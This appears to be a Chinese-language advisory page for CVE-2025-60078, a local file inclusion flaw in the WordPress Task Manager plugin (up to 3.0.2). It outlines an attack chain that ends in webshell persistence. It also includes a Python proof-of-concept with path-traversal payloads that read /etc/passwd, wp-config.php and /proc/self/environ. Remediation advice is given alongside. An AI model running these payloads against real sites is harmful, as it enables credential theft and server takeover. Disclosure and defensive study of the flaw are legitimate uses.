IPBUF安全漏洞报告
English
CVE-2025-60078 CVSS 7.5 高危

CVE-2025-60078 WordPress Task Manager插件本地文件包含漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-60078
漏洞类型
本地文件包含(LFI)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Task Manager插件 (Agence web Eoxia Task Manager)

相关标签

CVE-2025-60078本地文件包含远程文件包含WordPress插件漏洞Task Manager路径遍历PHP漏洞高危漏洞PatchStackWeb安全

漏洞概述

CVE-2025-60078是WordPress Task Manager插件中的一个高危安全漏洞,CVSS评分达到7.5分。该漏洞属于PHP文件包含类漏洞,存在于插件对文件路径处理的不当控制中。攻击者可以通过构造特殊的请求参数,利用插件的include/require语句对文件路径验证不严格的缺陷,实现本地文件包含攻击。此漏洞允许低权限认证用户(PR:L)无需用户交互(UI:N)即可发起攻击,通过网络远程利用(AV:N)。成功利用此漏洞可导致服务器敏感文件泄露,包括配置文件、凭据文件、系统关键文件等,严重威胁系统机密性、完整性和可用性。该漏洞影响Task Manager插件3.0.2及以下所有版本,已被PatchStack安全团队发现并报告。

技术细节

该漏洞是典型的PHP文件包含(File Inclusion)漏洞,源于插件在处理动态文件包含时对用户输入验证不足。在PHP应用程序中,include、require、include_once、require_once等文件包含函数在接收用户可控的参数时,如果未进行严格的路径验证和过滤,攻击者可以通过路径遍历(Path Traversal)技术包含服务器上的任意文件。攻击者通常利用../或URL编码等技巧绕过简单的过滤机制,读取服务器上的敏感文件如/etc/passwd、wp-config.php等。在某些配置下,攻击者甚至可以通过日志污染或上传图片等方式注入恶意PHP代码,进而实现远程代码执行(RCE)。由于该漏洞的CVSS向量显示攻击复杂度为高(AC:H),可能需要结合特定环境条件或多次尝试才能成功利用,但一旦利用成功,将对系统造成严重影响。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先确认目标网站使用WordPress CMS,并识别Task Manager插件版本(需<=3.0.2)。可通过查看页面源码、插件目录或使用wappalyzer等工具进行识别。
STEP 2
步骤2:漏洞探测
攻击者访问插件中存在文件包含功能的相关文件(如task_rendering.php、task_controller.php等),尝试通过file参数进行路径遍历测试,如使用../../../../../../etc/passwd读取系统文件。
STEP 3
步骤3:敏感文件读取
如果成功包含文件,攻击者可读取wp-config.php获取数据库凭据、读取/etc/passwd获取系统用户信息、读取.htaccess和.htpasswd获取认证信息等敏感数据。
STEP 4
步骤4:权限提升与远程代码执行(可选)
在特定配置下,攻击者可通过包含Apache/Nginx日志文件、session文件或上传的图片马等方式注入恶意PHP代码,然后再次利用文件包含漏洞执行代码,最终获得服务器完全控制权。
STEP 5
步骤5:持久化控制
通过Webshell、计划任务、SSH密钥注入等方式建立持久化后门,窃取数据或作为进一步内网渗透的跳板。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-60078 PoC - WordPress Task Manager LFI # Target: WordPress with Task Manager Plugin <= 3.0.2 import requests import sys target = input("Enter target URL (e.g., http://target.com): ").rstrip('/') # Common WordPress paths with Task Manager plugin paths = [ '/wp-content/plugins/task-manager/views/frontend/task_rendering.php', '/wp-content/plugins/task-manager/external/phpthumb/thumb.php', '/wp-content/plugins/task-manager/controller/task_controller.php' ] # Sensitive files to attempt reading files = [ '../../../../../../../../etc/passwd', '../../../../../../../../wp-config.php', '../../../../../../../../../../../var/www/html/wp-config.php', '../../../../../../../../../proc/self/environ' ] print(f"[*] Testing CVE-2025-60078 LFI on {target}") print(f"[*] Target plugin: Task Manager <= 3.0.2\n") for path in paths: for file in files: url = f"{target}{path}?file={file}" try: response = requests.get(url, timeout=10) if 'root:' in response.text or 'DB_NAME' in response.text: print(f"[!] VULNERABLE! Found sensitive data at:") print(f" URL: {url}") print(f" Status: {response.status_code}") print(f"[+] Response snippet: {response.text[:500]}...") sys.exit(0) elif response.status_code == 200 and len(response.text) > 0: print(f"[*] Possible LFI at {url}") except requests.exceptions.RequestException as e: print(f"[-] Error testing {url}: {e}") print("\n[*] Testing complete. No obvious LFI detected.") print("[*] Note: Manual testing may be required based on plugin configuration.")

影响范围

WordPress Task Manager插件 <= 3.0.2

防御指南

临时缓解措施
立即将WordPress Task Manager插件升级至3.0.3版本;在插件未更新前,可通过Web应用防火墙临时拦截包含../或敏感文件路径的请求;禁用或重命名可能存在漏洞的文件;限制上传目录的PHP执行权限;定期审计插件代码中的文件包含逻辑,确保所有用户输入都经过严格的输入验证和路径规范化处理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表